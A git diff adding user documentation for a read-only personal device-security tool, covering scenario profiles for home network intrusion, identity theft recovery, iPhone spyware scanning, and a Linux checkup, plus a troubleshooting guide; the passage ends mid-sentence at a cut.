+saved passwords into it, 2FA on the important accounts, then sign out the +devices and sessions nobody recognises. Do them in that order; enabling 2FA +before there is somewhere safe to keep recovery codes creates a lockout waiting +to happen. + +**Step 12 is worth insisting on.** Disk encryption is free, already built in, +and is the difference between a stolen laptop being an expensive inconvenience +and being an identity-theft event. + +## What it will never ask you for + +Nothing here needs a credential from them or from you. The tool does not want +their Apple ID, their email password, their bank login, or a 2FA code. Every +account step happens in their browser, on the provider's site, with them +driving — which is also better teaching. If you set up a password manager, its +master password is theirs, is typed into the password manager, and is never +seen by this tool. + +Do not set up their accounts *for* them while they watch. The person who has to +use this in six months should be the one who set it up. + +## Afterwards + +```console +$ rescue export --profile home_for_the_holidays --output ~/family-laptop +``` + +A redacted case is a decent "here is what I checked and what I found" record to +leave alongside the Help Me document — or to compare against next year's visit. + +If the checkup turns up something that looks like an actual compromise, stop and +switch to [digital security reset](digital-security-reset.md). diff --git a/docs/scenarios/home-network-intrusion.md b/docs/scenarios/home-network-intrusion.md new file mode 100644 index 0000000..ac63a34 --- /dev/null +++ b/docs/scenarios/home-network-intrusion.md @@ -0,0 +1,131 @@ +# Home network intrusion + +**`home_network_intrusion`** — 14 modules, a 6-phase guide. + +## Who this is for + +Someone got onto your home Wi-Fi, or you think they might have. Or your machine +has become inexplicably slow and hot, which is often cryptomining. The two +problems arrive together often enough that this profile covers both: an +intruder on the network, and the mining and monitoring software that tends to +come with them. + +!!! danger "Read this before you start" + The guide's very first step is *"Decide whether this is a safety situation + first."* If the person who may have got in is someone you know — a partner, + an ex, a family member, a housemate — then changing the Wi-Fi password + tells them you know. That can escalate a dangerous situation, and the + safety plan comes before the technical cleanup. + + In the US: National Domestic Violence Hotline, 1-800-799-7233. + Internationally: . Please read Phase 0 before + Phase 1. + +## What to run + +```console +$ rescue --auto --profile home_network_intrusion +$ rescue guide home_network_intrusion +``` + +Before you run the network inventory, count your devices. Every phone, laptop, +tablet, TV, speaker, console, printer, smart plug, doorbell, and thermostat. +The inventory can only tell you "there are eleven things here" — only you can +say whether eleven is the right number. + +## The order matters, and it is not the obvious one + +The profile is deliberately sequenced: **reclaim the network, then clean the +devices, then change the passwords.** Its own description says why — *"a +cleaned device rejoining a compromised network is compromised again"*, and a +password changed while someone is still on the network is a password they +watched you set. + +Most people's instinct is to change the Wi-Fi password first. That is Phase 2, +not Phase 1, and account passwords are Phase 4. + +## What the tool does + +Fourteen read-only checks in three groups. + +**The network — who is on it, and is anyone intercepting?** + +| Module | What it answers | Platforms | +| --- | --- | --- | +| `lan_device_inventory` | What is actually on the local network | macOS, Windows, Linux | +| `arp_spoof_check` | Is something intercepting local traffic | macOS, Windows, Linux | +| `router_security_audit` | What administrative services the router exposes | macOS, Windows, Linux | +| `wifi_security_audit` | Encryption and configuration of the wireless network | macOS | + +**Cryptojacking — what is running, what restarts it, and the browser.** + +| Module | What it answers | Platforms | +| --- | --- | --- | +| `crypto_miner_detect` | Is a miner running | macOS | +| `win_crypto_miner_detect` | Is a miner running | Windows | +| `crypto_miner_persistence` | What brings the miner back after you kill it | macOS, Windows, Linux | +| `browser_cryptojacking_check` | Is a page or extension mining in your browser | macOS, Windows, Linux | +| `process_scanner` | What is running, against a known-unwanted list | macOS, Windows, Linux | + +**Access to the machine itself.** + +| Module | What it answers | Platforms | +| --- | --- | --- | +| `stalkerware_scan` | Is monitoring software installed | macOS, Windows, Linux | +| `remote_login_check` | Is remote access enabled, who is logged in | macOS | +| `win_remote_access_audit` | Remote Desktop and remote-access tooling | Windows | +| `suspicious_connections` | Unexpected outbound connections | macOS | +| `open_ports_scan` | What this machine is listening on | macOS | + +`crypto_miner_persistence` is the one to read carefully. Killing a miner is +easy and pointless on its own — the startup entry that relaunches it is the +actual problem, which is why the guide's Phase 3 does them in that order. + +## What stays human-led + +Nearly all of the recovery, because most of it happens in the router's admin +interface and at your providers. + +- Signing in to the router, ideally over a cable. +- Updating router firmware — first, before any settings change, because a + firmware update can reset settings. +- Changing the admin password and the Wi-Fi passphrase. +- Turning off WPS, remote administration, port forwarding, DMZ, guest network. +- Checking the router's DNS servers. +- Factory-resetting the router if settings will not stick. +- Naming every device on the inventory list. +- Deciding a device is beyond cleaning and reinstalling it. + +The tool tells you what the router is exposing and what is on the network. It +does not log in to your router and never asks for its password. + +## The phases + +| Phase | Title | Time | What happens | +| --- | --- | --- | --- | +| 0 | Before You Touch Anything | 15 min | Is this a safety situation? · Write down what made you suspicious · Find a device and network you can trust · Understand the order and why | +| 1 | See Who Is On The Network | 45 min | **Inventory local devices** · **Check for interception** · Name every device · Cross-check the router's own list · Why blocking by MAC address is not worth it | +| 2 | Take The Router Back | 1 hr | **Audit what the router exposes** · Sign in over a cable · Firmware first · Change admin password and passphrase · Turn off WPS · Turn off remote admin, check DNS · Clear port forwarding, DMZ, guest network · Factory reset if needed | +| 3 | Clean The Devices | 1–2 hr per device | **Look for mining** · **Find what restarts it** · **Check the browser** · **Check who else has access** · Remove in the right order · Every device, not just the interesting one · Consider a clean reinstall | +| 4 | Rebuild Accounts And Keep Them Out | 2 hr, then 15 min/month | *Only now* change passwords · 2FA starting with email · Sign out everything else · Accounts attached to the house, not just to you · Separate what needn't be together · Set a date to check again | +| 5 | Resources, Tiplines, And Free Help | reference | Do not call a support number you found by searching · If the person is someone you know · Free expert help · Where to report · If money was touched, switch guides · Understanding the equipment | + +Phase 5's first step is worth reading even if you skip the rest: search adverts +for "router support" and "remove virus" are bought by scammers, and calling one +while you are already compromised is how a bad day becomes a much worse one. + +## What it will never ask you for + +Your router's admin password, your Wi-Fi passphrase, your account passwords, or +any one-time code. The router audit probes what the router exposes to the +network; it does not sign in. Everything inside the router's admin interface is +done by you, in your browser. + +## Afterwards + +```console +$ rescue export --profile home_network_intrusion +``` + +If money or accounts were touched, switch to +[identity theft recovery](identity-theft-recovery.md) — Phase 5 says the same. diff --git a/docs/scenarios/identity-theft-recovery.md b/docs/scenarios/identity-theft-recovery.md new file mode 100644 index 0000000..b1f0d37 --- /dev/null +++ b/docs/scenarios/identity-theft-recovery.md @@ -0,0 +1,131 @@ +# Identity theft recovery + +**`identity_theft_recovery`** — 12 modules, a 7-phase guide. + +## Who this is for + +Someone is using your identity. Credit opened in your name, a tax return filed +before yours, benefits claimed, accounts you never made. This is the longest of +the scenarios because the recovery genuinely is long — the guide's own time +estimates run to *"several weeks of follow-up"* and *"20 minutes a month"* for +two years. + +Almost none of this work happens on a computer. It happens with banks, credit +bureaus, and government agencies. The guide is the substance here; the modules +answer exactly one question. + +## What to run + +```console +$ rescue --auto --profile identity_theft_recovery +$ rescue guide identity_theft_recovery +``` + +The walkthrough doubles as a checklist that survives the process: + +```console +$ rescue guide identity_theft_recovery --complete 3 +``` + +Progress is saved in `~/.rescue/sessions/identity_theft_recovery.json`, which +matters more here than anywhere else — you will be coming back to this for +weeks, and the guide remembers where you were. + +## What the tool does + +One question: **is the device you are doing the recovery from itself the leak?** +Because doing recovery from a compromised machine hands the new passwords +straight back. + +**Is something watching this machine?** + +| Module | What it answers | Platforms | +| --- | --- | --- | +| `stalkerware_scan` | Is monitoring software installed | macOS, Windows, Linux | +| `keylogger_indicators` | Is something capturing keystrokes | macOS | +| `malware_scan_indicators` | Known malware indicators on disk | macOS | +| `win_malware_indicators` | Known malware indicators on disk | Windows | +| `suspicious_processes` | Unexpected processes running now | macOS | +| `win_suspicious_processes` | Unexpected processes running now | Windows | +| `process_scanner` | Running processes against a known-unwanted list | macOS, Windows, Linux | + +**The browser, where credential theft usually lives.** + +| Module | What it answers | Platforms | +| --- | --- | --- | +| `browser_extension_audit` | Is an extension reading your pages | macOS | +| `browser_hijack_check` | Has the browser's search or homepage been redirected | macOS | +| `certificate_trust_audit` | Has a certificate been installed that can decrypt your HTTPS | macOS | + +**Is somebody else still logged in?** — the simplest explanation of all. + +| Module | What it answers | Platforms | +| --- | --- | --- | +| `remote_login_check` | Remote access enabled, who is logged in | macOS | +| `win_remote_access_audit` | Remote Desktop and remote-access tooling | Windows | + +That is the entire technical contribution. If any of it finds something, the +guide's Phase 1 Step 4 tells you to do the rest of the recovery from a +different device. + +## What stays human-led + +All of it, past Phase 1. Specifically: + +- Freezing credit at Equifax, Experian, and TransUnion — **and** at the four + smaller bureaus the guide names that nobody mentions. +- Filing the FTC report at IdentityTheft.gov, which is the keystone step in the + US and is free. +- Filing a police report. +- Protecting the tax file and reporting SSN misuse. +- Pulling all three credit reports and marking up every line. +- **Blocking** fraudulent accounts rather than merely disputing them — a + distinction the guide is emphatic about. +- Notifying creditors in writing; handling debt collectors properly. +- Upgrading to the seven-year extended fraud alert once you have the FTC report. +- Keeping the recovery log, and the follow-up schedule. + +The tool cannot call a bank, and a program that offered to would be lying about +what it does. + +## The phases + +| Phase | Title | Time | What happens | +| --- | --- | --- | --- | +| 0 | The First Hour | 1 hr | Start a recovery log · Write down what you know · Know this is not your fault · Understand the order and why · Decide about the immediate money | +| 1 | Make Sure The Device Is Not The Leak | 45 min | **Scan for monitoring and malware** · **Check the browser** · **Check who else is logged in** · If anything was found, switch devices · Secure email and phone first | +| 2 | Freeze Everything (Stop New Damage) | 2 hr | Freeze all three major bureaus · Freeze the three nobody mentions · Place a fraud alert · Call every bank and card issuer · Change financial and government passwords · Reclaim the mail · Non-US equivalents | +| 3 | Report It Officially | 2–3 hr | FTC report at IdentityTheft.gov · Police report · Protect the tax file · Report SSN misuse · Report to the financial regulator · Report your specific flavour of theft · Update the log | +| 4 | Dispute And Undo The Damage | 3 hr, then weeks | Pull all three reports and mark every line · Block, do not merely dispute · Notify creditors in writing · Handle debt collectors properly · Set a follow-up schedule · Log every dispute with its deadline | +| 5 | Monitor, Rebuild, And Look After Yourself | 1 hr, then 20 min/month | Seven-year extended fraud alert · Stop prescreened offers · Set the monitoring rhythm · Fix structural weaknesses · What to expect over two years · Acknowledge what this cost | +| 6 | Resources, Tiplines, And Free Help | reference | How fake helplines work · Free case-managed help · Official reporting channels · The bureaus and databases nobody mentions · If the person knows you · Legal help, mostly free · Non-US channels · What is already exposed | + +Only Phase 1's first three steps are automatable. Everything else is you, a +phone, and a log. + +Phase 6 Step 1 is worth reading before you dial anything: search results for +"Equifax fraud number" and "IRS help line" are bought by scammers, and someone +mid-identity-theft is exactly who they are looking for. + +## What it will never ask you for + +Your Social Security number. Your date of birth. Your account numbers. Your +credit report. Your passwords or one-time codes. None of that ever enters this +tool — the device checks read local system state, and every piece of personal +information in this recovery is given directly to the bureau, agency, or bank +that needs it. + +Note that the guide is US-centric in its specifics (FTC, SSN, the three +bureaus), with non-US equivalents called out in Phase 2 Step 7 and Phase 6 +Step 7. + +## Afterwards + +```console +$ rescue export --profile identity_theft_recovery +``` + +The redacted case is useful evidence for the "what did you check" question, and +attaches cleanly to a support request. Read it before you send it — it removes +credential-shaped strings, emails, your username, home path, and hostname, but +module output is free text. See [Privacy](../privacy.md#the-redacted-case-export). diff --git a/docs/scenarios/index.md b/docs/scenarios/index.md new file mode 100644 index 0000000..486ad5b --- /dev/null +++ b/docs/scenarios/index.md @@ -0,0 +1,72 @@ +# Scenarios + +A **profile** is a scenario. It selects the modules that matter for one +situation, configures them for that threat, and — for four of the seven — pairs +them with a phased human walkthrough that tracks your progress across sessions. + +```console +$ rescue profiles # list them +$ rescue --auto --profile # run the checks (read-only) +$ rescue guide # the human walkthrough, where one exists +``` + +## Which one do I need? + +| If this is your situation | Use | +| --- | --- | +| I think I've been hacked. Accounts, device, or both. | [Digital security reset](digital-security-reset.md) | +| There are strangers on my Wi-Fi, or my machine is mining crypto for someone. | [Home network intrusion](home-network-intrusion.md) | +| Someone is using my identity — credit, taxes, benefits, accounts opened in my name. | [Identity theft recovery](identity-theft-recovery.md) | +| I installed a compromised package, or I'm worried about an AI-driven worm. | [AI worm response](ai-worm-response.md) | +| I think there's spyware on my iPhone or iPad. | [iPhone / iPad spyware check](iphone-spyware-check.md) | +| I want a security review of a Linux machine. | [Linux security checkup](linux-security-checkup.md) | +| I'm visiting family and want to leave their laptop in better shape. | [Home for the holidays](home-for-the-holidays.md) | + +Not sure? Start with `rescue scan` — a plain whole-machine read-only pass — and +come back once you know more. If you have an AI provider configured, +`rescue recommend` will talk you to a profile. + +## At a glance + +| Profile | Modules | Guide | Best on | +| --- | ---: | --- | --- | +| [`digital_security_reset`](digital-security-reset.md) | 12 | 6 phases | macOS (10 of 12 are macOS-only) | +| [`home_network_intrusion`](home-network-intrusion.md) | 14 | 6 phases | macOS, Windows | +| [`identity_theft_recovery`](identity-theft-recovery.md) | 12 | 7 phases | macOS, Windows | +| [`ai_worm_response`](ai-worm-response.md) | 6 | none | all three | +| [`iphone_spyware_check`](iphone-spyware-check.md) | 1 | none — see the [walkthrough](../CHECK_IPHONE_FOR_SPYWARE.md) | all three (scans a backup on your computer) | +| [`linux_security_checkup`](linux-security-checkup.md) | 10 | none | Linux | +| [`home_for_the_holidays`](home-for-the-holidays.md) | 4 | 1 phase, 13 steps | macOS | + +Modules that do not support your platform are filtered out before the scan +starts, so a profile on the "wrong" platform runs a subset rather than failing. +Check the [module catalog](../modules.md) for exactly what exists where. + +## What every scenario has in common + +**All checks are read-only.** `--auto` never changes your system on the shipped +tree — the summary line prints the number of changes made, and it is always +zero. See [Trust and safety](../trust-and-safety.md#auto-mode-is-read-only). + +**None of them will ever ask you for a secret.** No account password, no +one-time code, no recovery code, no seed phrase, no master password. Account +work happens on the provider's own website, done by you. + +**The device half and the human half are different jobs.** For most of these +scenarios the modules answer one narrow question — *is this device itself the +problem?* — and the guide carries the actual recovery, because the recovery +happens at banks, providers, credit bureaus, and routers, not on your disk. + +**Progress is saved.** `rescue guide --complete ` marks a step done in +`~/.rescue/sessions/.json`. Close the terminal, come back next week. + +**Nothing is sent anywhere.** Unless you explicitly enable the AI layer. See +[Privacy](../privacy.md). + +!!! danger "Before you start, if the person involved is someone you know" + If a partner, ex-partner, family member, or housemate may be the one with + access, removing their access can escalate a dangerous situation. The safety + plan comes first. In the US: National Domestic Violence Hotline, + 1-800-799-7233. Internationally: . The + [home network intrusion](home-network-intrusion.md) guide opens with this, + deliberately. diff --git a/docs/scenarios/iphone-spyware-check.md b/docs/scenarios/iphone-spyware-check.md new file mode 100644 index 0000000..ef8ff3b --- /dev/null +++ b/docs/scenarios/iphone-spyware-check.md @@ -0,0 +1,100 @@ +# iPhone / iPad spyware check + +**`iphone_spyware_check`** — 1 module, no guide (but there *is* a +[plain-language walkthrough](../CHECK_IPHONE_FOR_SPYWARE.md)). + +## Who this is for + +You think there may be mercenary spyware — Pegasus, Predator, or similar — on +your iPhone or iPad. This profile scans a **backup of that device that already +exists on your computer**, using Amnesty International's Mobile Verification +Toolkit (MVT). + +This is the tool's only real mobile capability. There are no modules that talk +to a phone directly; everything else mobile in this project is human-guided. + +!!! info "Start with the walkthrough, not this page" + [Check an iPhone or iPad for spyware](../CHECK_IPHONE_FOR_SPYWARE.md) is + written to be followed step by step by someone non-technical, including how + to make the backup in the first place. This page is the reference for what + the profile does. + +## What to run + +```console +$ rescue --auto --profile iphone_spyware_check +``` + +You need a local backup of the device on the computer you are running this on +(made through Finder on macOS, or iTunes / Apple Devices on Windows). Nothing +is uploaded anywhere; the scan happens entirely on your computer. + +There is **no guide for this profile** — `rescue guide iphone_spyware_check` +reports `No guide content found`. Use the walkthrough linked above. + +## What the tool does + +One module, `mvt_spyware_scan`, on macOS, Windows, or Linux. + +It is worth understanding why this profile exists at all when the module is +available everywhere. From the profile's own description: + +> This is the one profile that actually **RUNS** the backup scan — every other +> scan only reports that a scan is available, because scanning a backup is a +> heavy operation. + +So `mvt_spyware_scan` appearing in a general `rescue scan` will tell you a scan +is possible; only this profile turns it on, through `module_config`: + +```yaml +module_config: + mvt_spyware_scan: + scan_backups: true + max_backup_bytes: 2147483648 # 2 GB +``` + +**The 2 GB limit is a safety measure, not a capability limit.** Backups larger +than that are *skipped rather than scanned*, because scanning a very large +backup can use a lot of memory. Raising `max_backup_bytes` lets bigger backups +through — only do that on a computer with plenty of free memory. + +The module's declared duration reflects this: *"instant by default; 1–10m if +backup scanning is enabled"*. It is `RiskLevel.SAFE` and reads the backup; it +does not modify it. + +## What stays human-led + +- **Making the backup.** Encrypted local backups contain more of the artifacts + MVT looks at; the walkthrough covers this. +- **Interpreting a detection.** MVT indicators are exactly that — indicators. + A hit is a reason to get expert help, not a verdict. +- **What to do if something is found.** Do not factory-reset immediately; that + destroys the evidence someone qualified would need. Amnesty's Security Lab + and Access Now's Digital Security Helpline + () work with people in exactly this + situation, for free. +- **Everything on the phone itself.** Passcodes, Apple ID, Lockdown Mode, + updates. This tool does not touch the device. + +!!! danger "If you are a journalist, activist, lawyer, or dissident" + Mercenary spyware is targeted, expensive, and used against specific people. + If you have reason to think you are a target, contact Access Now's Digital + Security Helpline or Amnesty's Security Lab **before** changing anything on + the device. Preserving the backup matters more than cleaning the phone. + +## What it will never ask you for + +Your Apple ID password, your device passcode, your backup encryption password, +or any two-factor code. The module reads a backup that already exists on disk. +If a backup is encrypted and cannot be read, you will be told that — you will +not be asked to type the password into this tool. + +## Afterwards + +```console +$ rescue export --profile iphone_spyware_check +``` + +If you are handing findings to a helpline or a security researcher, send the +redacted Markdown case and say which device and which backup it refers to. +Keep the backup itself; do not delete it. diff --git a/docs/scenarios/linux-security-checkup.md b/docs/scenarios/linux-security-checkup.md new file mode 100644 index 0000000..87e9751 --- /dev/null +++ b/docs/scenarios/linux-security-checkup.md @@ -0,0 +1,214 @@ +# Linux security checkup + +**`linux_security_checkup`** — 10 modules, no guide. + +## Who this is for + +Anyone with a Linux desktop, laptop, or small server who wants a read-only +security and health review in one command. You do not need to suspect anything; +this is the checkup, not the emergency. + +It is also the single entry point for the Linux modules. Linux support in this +tool used to be thin — 26 of the 287 modules run there — and this profile is +where nine of the newest ones live together. + +From the profile's own description, the questions it answers: + +> Is anything filtering inbound traffic, can anyone log in over SSH with a +> password, who on this machine can become root, is the disk encrypted if it is +> lost or stolen, is anything arranged to run at every boot that you do not +> recognise, are there published security fixes waiting to be installed, and is +> the hardware reporting the early warnings that precede a drive or memory +> failure. + +## What to run + +```console +$ rescue --auto --profile linux_security_checkup +``` + +There is **no guide for this profile** — `rescue guide linux_security_checkup` +reports `No guide content found`. Unlike the four scenario profiles that carry +phased walkthroughs, this one is scan-only, and every module tells you the +exact command to fix what it found. Findings carry codes that map into the +[remediation catalog](../REMEDIATION_CATALOG.md). + +Run it unprivileged first. Some checks (firewall rulesets in particular) can +read more as root — but the design rule here is that a check without privileges +**says so** rather than reporting a clean result. Elevate only for the gaps: + +```console +$ sudo -E $(which rescue) --auto --profile linux_security_checkup +``` + +## The order is the argument + +The include list is sequenced, and the comments in the YAML explain why. It is +not alphabetical and it is not by module size — it is by what an attacker needs +in the order they need it. + +1. **Exposure first — what can reach this machine, and who can log in to it.** + `linux_firewall_check`, `linux_ssh_hardening`, `linux_account_audit`. Nothing + else matters if the front door is open, and this is the group where a real + misconfiguration is most likely. +2. **Then what happens if the machine itself is taken.** + `linux_disk_encryption_check`. A different threat entirely — a screwdriver, + not a network — and one that no amount of firewall helps with. +3. **Then what is arranged to run again, which is where persistence lives.** + `linux_persistence_audit`. Survival across reboots is malware's first job + after landing, so this is where you look for something that already got in. +4. **Then the patch level, which is what most real compromises actually use.** + `linux_package_updates`. Unglamorous and statistically the most likely way + in. +5. **Then health: services that have failed, and hardware asking for help.** + `linux_service_health`, `linux_journal_errors`, `linux_memory_pressure`, + `disk_space`. A machine that is failing is a machine you cannot trust to + report on itself, and a full disk breaks logging — which is how you lose the + evidence of everything above. + +## What the tool does + +| Module | What it answers | Duration | +| --- | --- | --- | +| `linux_firewall_check` | Is anything actually filtering inbound traffic (ufw, firewalld, nftables, iptables) | 10s | +| `linux_ssh_hardening` | The effective SSH server configuration, and the settings that turn a key-only server into a password one | 10s | +| `linux_account_audit` | Who can log in, and who can become root | 10s | +| `linux_disk_encryption_check` | Is the data encrypted at rest | 15s | +| `linux_persistence_audit` | Every place something can arrange to run again — systemd, cron, XDG autostart, shell rc files, `ld.so.preload` | 20s | +| `linux_package_updates` | Are security updates waiting, and is this release still getting them | 45s | +| `linux_service_health` | What systemd has given up on, and what keeps dying and restarting | 20s | +| `linux_journal_errors` | The journal errors that predict hardware failure | 30s | +| `linux_memory_pressure` | Memory, swap, and the kernel's own pressure signals | 5s | +| `disk_space` | Filesystems running out of room | 5s | + +All ten are `RiskLevel.SAFE`, all are Linux-only except `disk_space`, and the +whole profile takes about three minutes. + +Two design notes worth knowing before you read the output: + +**"Could not determine" is a real answer.** `linux_firewall_check` asks all four +front-ends in turn, because a machine can have all four installed while none is +filtering — and checking only one produces a confident, wrong answer. An +unreadable ruleset is reported as *could not determine*, never as *no firewall*. + +**The persistence inventory is mostly `[info]` on purpose.** Almost everything +it finds is legitimate: a user systemd unit is how Syncthing starts, `~/.profile` +sets `PATH` on every machine ever. Flagging those as malware would be a +false-positive machine. Only structural properties escalate — a unit that pipes +the network into a shell, an autostart entry pointing at `/tmp`, a +world-writable unit file. The inventory exists so *you* can notice the one entry +you do not recognise, which is the only detection mechanism that works against +something novel. + +## Real output + +From a live run on an Ubuntu 24.04 machine: + +```console +$ rescue --auto --profile linux_security_checkup +================================================== +Multiverse Device Rescue — Auto Mode +Profile: Linux Security Checkup +================================================== + +Scanned 10 module(s), found 12 issue(s). Auto mode is read-only: made 0 system +change(s); 0 manual action(s) require you. + +=== linux_firewall_check === +Found 1 issue(s): + [warning] A firewall is installed but not active: Found nftables, iptables, + but none of them is currently filtering. Installed and running are different + things; an inactive firewall protects nothing. + +=== linux_account_audit === +Found 2 issue(s): + [warning] claude can run commands as root without a password: /etc/sudoers + contains a NOPASSWD rule for claude. + + This is convenient and it is also the difference between 'someone got into + your user session' and 'someone got root'. Automation on a server sometimes + needs it; a desktop rarely does. If it is needed, scope it to specific + commands rather than ALL. + [info] 2 account(s) can log in to this machine: Accounts that can log in: + root, ubuntu + + Administrative group membership: + sudo: ubuntu + + Look for a name you do not recognise. That is the whole point of this list; + there is nothing wrong with any of these entries by default. + +=== linux_disk_encryption_check === +Found 1 issue(s): + [warning] / is not encrypted: /dev/vda mounted at / is stored unencrypted. + + Everything on this machine — saved passwords, browser sessions, SSH keys, + documents — can be read by anyone who gets the drive out of it. That takes a + screwdriver and a few minutes; your login password is not involved. + +=== linux_persistence_audit === +Found 1 issue(s): + [info] 7 startup entries inventoried: Every place something can arrange to + run again on this machine, listed so you can look for the one you do not + recognise. Most entries here are ordinary software. + + cron job (4): + /etc/cron.d/e2scrub_all + /etc/cron.d/php + /etc/cron.daily/apt-compat + /etc/cron.daily/dpkg + shell startup file (3): + /root/.bashrc + /root/.profile + /root/.zshrc + +=== linux_service_health === +Found 1 issue(s): + [warning] No time-synchronisation service appears to be running: Nothing on + this machine is keeping the clock correct. A drifted clock breaks HTTPS + certificate validation, two-factor codes, and scheduled jobs. + + Checked for: systemd-timesyncd, chronyd, ntpd, ntpsec +``` + +Twelve findings, zero changes. Note the shape of a good result here: four +`[warning]` items that each name a specific thing to do, and inventories that +ask you to look rather than telling you to panic. + +## What stays human-led + +Everything. This profile changes nothing and proposes nothing automatically — +each module reports what it found and, where there is something to do, gives +you the exact command to run yourself. + +- Enabling and configuring the firewall. +- Editing `sshd_config` and restarting the service. +- Scoping or removing a `NOPASSWD` sudo rule. +- Enabling full-disk encryption (which on an existing install generally means a + reinstall — worth planning, not worth rushing). +- Investigating a startup entry you do not recognise. +- Installing the pending updates, and upgrading a release that is past its + end-of-life. +- Replacing a drive whose journal is warning about it. + +## What it will never ask you for + +Your login password, your sudo password, your SSH passphrase, or any account +credential. `linux_ssh_hardening` reads the *effective server configuration*; +`linux_account_audit` reads account and sudoers *metadata*. Neither reads +private key material or password hashes out to you. If you choose to run under +`sudo`, `sudo` itself prompts — the tool never sees what you type. + +## Afterwards + +```console +$ rescue export --profile linux_security_checkup +``` + +Writes a redacted case to `~/.rescue/cases/`. Note that under `sudo` that +resolves to `/root/.rescue/cases/` — use `--output` if you want it elsewhere. + +If the checkup turned up something that looks like an active compromise rather +than a misconfiguration, switch to +[digital security reset](digital-security-reset.md) or, if it came in through a +package, [AI worm response](ai-worm-response.md). diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md new file mode 100644 index 0000000..5d624ee --- /dev/null +++ b/docs/troubleshooting.md @@ -0,0 +1,284 @@ +# Troubleshooting + +## `rescue: command not found` + +The console script installed somewhere that is not on your `PATH`. Every +command works through the module path instead: + +```console +$ python3 -m rescue.cli scan # macOS / Linux +``` + +```doscon +C:\> py -m rescue.cli scan +``` + +To fix it properly, add your user script directory to `PATH` (`python3 -m site +--user-base` + `/bin` on macOS/Linux, `%APPDATA%\Python\Scripts` on Windows), +or install into a virtual environment and use its `bin`/`Scripts` directory. + +## "No modules discovered" / `rescue profiles` prints nothing + +`modules/`, `profiles/`, and `guides/` install **outside** the Python package, +as data files under `share/multiverse-device-rescue/`. If they did not land, +the tool launches perfectly and checks nothing. + +Diagnose with: + +```console +$ rescue validate +[error] registry:...: no modules were discovered; the install is missing its content +``` + +Fixes, in order of likelihood: + +1. Reinstall from your checkout: `pip install --force-reinstall .`. +2. If you are running from a source checkout, run from the repository root, or + `pip install -e .` so the package can find its sibling directories. +3. Point the tool at the content explicitly: + + ```console + $ RESCUE_ASSETS_DIR=/path/to/checkout rescue profiles + ``` + +## Permissions and sudo + +**You do not need to run the tool as root or administrator**, and mostly you +should not. It is designed to work unprivileged and to say clearly when it +could not read something. + +**macOS.** Some checks read state protected by TCC (Transparency, Consent and +Control). If checks that look at your Documents, Desktop, Downloads, or other +applications' data report that they could not read anything, grant your +terminal **Full Disk Access**: System Settings → Privacy & Security → Full Disk +Access → add Terminal (or iTerm), then restart it. macOS may also show its own +authorisation dialog for certain system queries — that is macOS asking, on its +own dialog, and the tool never sees your password. + +**Windows.** Event log, WMI, driver, BitLocker, and service-configuration +checks generally need elevation. Open **Windows Terminal → Run as +administrator** and re-run. Without it, those checks report that they could not +read, rather than reporting a false clean result. + +**Linux.** Firewall rulesets (`nft list ruleset`, `iptables -S`), some journal +scopes, and other users' processes need privilege. Two options: + +```console +$ sudo -E $(which rescue) scan # keep your environment +$ sudo ~/.venvs/rescue/bin/rescue scan # explicit path to the venv's script +``` + +`-E` matters if you rely on `RESCUE_ASSETS_DIR` or an AI provider variable — +`sudo` scrubs the environment by default. + +!!! note "Elevation changes where things are written" + Under `sudo`, `Path.home()` is root's home, so guide progress and case + exports land in `/root/.rescue/`. If you cannot find a case you just + exported, that is usually why. Use `rescue export --output ~/cases` to be + explicit. + +**Should you elevate?** Only if a check you care about reported that it could +not read something. Running an unprivileged scan first and elevating for the +gaps is the better habit. + +## "Check unavailable" versus "No issues found" + +These are three genuinely different outcomes and the tool refuses to blur them. + +```text +=== linux_firewall_check === +No issues found. ← ran, found nothing. Good. + +=== arp_spoof_check === +Check unavailable: The neighbour table could not be read, or is empty. + ← errored or timed out. Looked at nothing. + +=== win_bitlocker_check === +Not supported here: This check reads Windows BitLocker state; this host +reports linux. + ← cannot run on this machine at all. +``` + +**"Check unavailable"** means `check()` raised or exceeded its 60-second +timeout. Common causes: a required command is not installed; a path is +unreadable without elevation; the machine is not connected to the network; an +external command hung. It is **not** a clean result — either fix the cause or +treat that area as unexamined. + +**"Not supported here"** means the module knows it cannot produce a meaningful +answer on this machine. Wrong platform, missing subsystem, or missing +permission it can detect up front. The reason text always says which. + +Neither ever appears as "No issues found". If you are reading a scan for +security purposes, read these lines first — a scan with ten unavailable checks +is a scan with ten blind spots. + +## "timed out after 60.0s" + +The orchestrator caps each module's `check()` at 60 seconds and abandons it if +it overruns, so one hung external command cannot stall the session. It is +recorded as an error on that module and the scan continues. + +If it happens consistently on one module, run it alone to see: + +```console +$ rescue run +``` + +Common causes are a huge home directory, a network-mounted path being walked, +or an external tool waiting on something. Note that Python cannot forcibly kill +a thread stuck in a blocking syscall, so a timed-out check is abandoned on a +daemon thread rather than killed — the process may hold that thread until it +returns on its own. + +## "skipped: session time budget exhausted" + +The orchestrator's optional whole-session budget ran out before this module +ran. Modules are reported honestly as skipped rather than silently dropped. +Run the ones you care about individually with `rescue run`. + +## Unsupported-platform results are normal + +The tool ships 287 modules; on any given machine most of them do not apply and +are filtered out before the scan starts. Coverage is uneven by design: 199 +modules run on macOS, 100 on Windows, 26 on Linux. A short Linux scan is not a +broken install — check the [module catalog](modules.md) for what exists for +your platform. + +If a module you expected did not appear at all, it is platform-filtered. If it +appeared and said "Not supported here", it ran and self-excluded for the reason +given. + +## Where sessions, cases, and content live + +| Path | What | Safe to delete? | +| --- | --- | --- | +| `~/.rescue/sessions/.json` | Guide progress | Yes — resets progress | +| `~/.rescue/cases/case-.{json,md}` | Exported case reports | Yes | +| `~/.local/share/rescue/content/` | Applied content updates | Yes — falls back to bundled content | +| `~/.config/rescue/revoked_signers.json` | Locally revoked signers | Yes — but you lose your revocations | + +Overrides: `RESCUE_CONTENT_DIR` moves the content checkout, +`RESCUE_ASSETS_DIR` moves the bundled assets. Under `sudo`, all of these +resolve against root's home instead of yours. + +## `rescue guide` says "No guide content found" + +Two profiles ship no guide: `ai_worm_response` and `iphone_spyware_check`. Both +are scan-only — run them with `rescue --auto --profile `. For the iPhone +check, the human walkthrough is +[Check an iPhone or iPad for spyware](CHECK_IPHONE_FOR_SPYWARE.md). + +If a profile that *should* have a guide reports this, the content directory is +missing — see "No modules discovered" above. + +## `rescue guide` shows the same phase after I complete a step + +A phase only advances once **every** step in it is marked complete. Mark them +one at a time: + +```console +$ rescue guide identity_theft_recovery --complete 1 +$ rescue guide identity_theft_recovery --complete 2 +``` + +Then the next invocation prints `Phase N complete! Moving to Phase N+1.` To +start over, 